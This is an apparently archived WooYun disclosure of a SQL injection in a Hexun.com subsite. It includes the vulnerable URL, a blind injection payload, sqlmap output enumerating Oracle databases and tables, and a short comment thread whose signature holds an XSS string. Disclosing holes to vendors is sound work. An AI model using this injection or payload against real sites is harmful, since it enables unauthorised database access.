当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125699

漏洞标题:和讯网某分站SQL注射漏洞之和讯网某分站(明文账号密码)

相关厂商:和讯网

漏洞作者: 安全小飞侠

提交时间:2015-07-09 17:31

修复时间:2015-08-23 17:34

公开时间:2015-08-23 17:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-09: 细节已通知厂商并且等待厂商处理中
2015-07-09: 厂商已经确认,细节仅向厂商公开
2015-07-19: 细节向核心白帽子及相关领域专家公开
2015-07-29: 细节向普通白帽子公开
2015-08-08: 细节向实习白帽子公开
2015-08-23: 细节向公众公开

简要描述:

请叫我安全小飞侠,谢谢!

详细说明:

http://baidu.hexun.com/report/ifread.php?t=1&id=617695
注射参数: id
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] N
sqlmap identified the following injection points with a total of 81 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://baidu.hexun.com:80/report/ifread.php?t=1&id=617695 AND 7598=
7598
---
[16:04:00] [INFO] testing MySQL
[16:04:01] [WARNING] the back-end DBMS is not MySQL
[16:04:01] [INFO] testing Oracle
[16:04:01] [INFO] confirming Oracle
[16:04:02] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
available databases [9]:
[*] BDFIN
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] REPDBO
[*] SYS
[*] SYSTEM
[*] WMSYS


+------------------------+---------+
| Table | Entries |
+------------------------+---------+
| FUTURES_QUOTE | 26984041 |
| R_STOCKS_SECTOR | 3604361 |
| TB_HJ_TTJ | 2477437 |
| TB_STOCK_BOARD | 2215113 |
| VOTE | 2186237 |
| TB_SGE_QUOTE | 1463523 |
| TB_METAL_QUOTE | 1438797 |
| USA_STOCK_QUOTE_TMP | 1067821 |
| R_INFO_O | 1029189 |
| TB_STOCK_BOARD_INDEX | 865135 |
| R_INFO | 597134 |
| TB_TJS_FS | 525422 |
| TB_METAL_QUOTE_FX678 | 497540 |
| CS_TNCONT | 152035 |
| TB_STOCK_BOARD_MONITOR | 64100 |
| USA_STOCK_QUOTE | 48146 |
| TB_SW_HQ | 25045 |
| CODE_INFO | 22329 |
| STOCK_BOARD | 4311 |
| STOCK_BOARD_MONITOR | 4295 |
| R_STOCK | 4225 |
| R_INFO_2 | 3970 |
| TB_TJS_K | 2012 |
| R_SECTOR_TDX | 1986 |
| VOTE_MI | 925 |
| R_GRADE | 645 |
| USA_STOCK_CODE | 442 |
| R_INDUSTRY | 345 |
| CT_USERINFO | 289 |
| TRADINFO | 270 |
| CS_TNCONT_NEW | 209 |
| R_INSCODE | 146 |
| R_SECTOR | 134 |
| CS_TNCONF | 123 |
| MEMBER_STOCKS | 43 |
| FUTURES_CODE | 27 |
| AD_KB | 26 |
| TEST | 25 |
| MEMBER_STOCK_TRADE | 13 |
| MEMBER_STOCK_GROUPS | 11 |
| RP_TEST | 9 |
| ACCOUNT | 6 |
| REPORT_USER_ACCOUNT | 5 |
+------------------------+---------+


hexun.jpg

漏洞证明:

http://baidu.hexun.com/report/ifread.php?t=1&id=617695
注射参数: id
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] N
sqlmap identified the following injection points with a total of 81 HTTP(s) requ
ests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://baidu.hexun.com:80/report/ifread.php?t=1&id=617695 AND 7598=
7598
---
[16:04:00] [INFO] testing MySQL
[16:04:01] [WARNING] the back-end DBMS is not MySQL
[16:04:01] [INFO] testing Oracle
[16:04:01] [INFO] confirming Oracle
[16:04:02] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
available databases [9]:
[*] BDFIN
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] REPDBO
[*] SYS
[*] SYSTEM
[*] WMSYS


+------------------------+---------+
| Table | Entries |
+------------------------+---------+
| FUTURES_QUOTE | 26984041 |
| R_STOCKS_SECTOR | 3604361 |
| TB_HJ_TTJ | 2477437 |
| TB_STOCK_BOARD | 2215113 |
| VOTE | 2186237 |
| TB_SGE_QUOTE | 1463523 |
| TB_METAL_QUOTE | 1438797 |
| USA_STOCK_QUOTE_TMP | 1067821 |
| R_INFO_O | 1029189 |
| TB_STOCK_BOARD_INDEX | 865135 |
| R_INFO | 597134 |
| TB_TJS_FS | 525422 |
| TB_METAL_QUOTE_FX678 | 497540 |
| CS_TNCONT | 152035 |
| TB_STOCK_BOARD_MONITOR | 64100 |
| USA_STOCK_QUOTE | 48146 |
| TB_SW_HQ | 25045 |
| CODE_INFO | 22329 |
| STOCK_BOARD | 4311 |
| STOCK_BOARD_MONITOR | 4295 |
| R_STOCK | 4225 |
| R_INFO_2 | 3970 |
| TB_TJS_K | 2012 |
| R_SECTOR_TDX | 1986 |
| VOTE_MI | 925 |
| R_GRADE | 645 |
| USA_STOCK_CODE | 442 |
| R_INDUSTRY | 345 |
| CT_USERINFO | 289 |
| TRADINFO | 270 |
| CS_TNCONT_NEW | 209 |
| R_INSCODE | 146 |
| R_SECTOR | 134 |
| CS_TNCONF | 123 |
| MEMBER_STOCKS | 43 |
| FUTURES_CODE | 27 |
| AD_KB | 26 |
| TEST | 25 |
| MEMBER_STOCK_TRADE | 13 |
| MEMBER_STOCK_GROUPS | 11 |
| RP_TEST | 9 |
| ACCOUNT | 6 |
| REPORT_USER_ACCOUNT | 5 |
+------------------------+---------+


修复方案:

你懂的,抓紧修复吧

版权声明:转载请注明来源 安全小飞侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-09 17:33

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-27 16:43 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    @安全小飞侠 Table | Entries | entries 这个参数怎么显示??

  2. 2015-08-27 16:54 | 安全小飞侠 ( 实习白帽子 | Rank:75 漏洞数:12 | 安全小飞侠就是我,我就是安全小飞侠!)

    @DloveJ --count 参数

  3. 2015-08-27 17:02 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    @安全小飞侠 嗯嗯,,谢谢,ok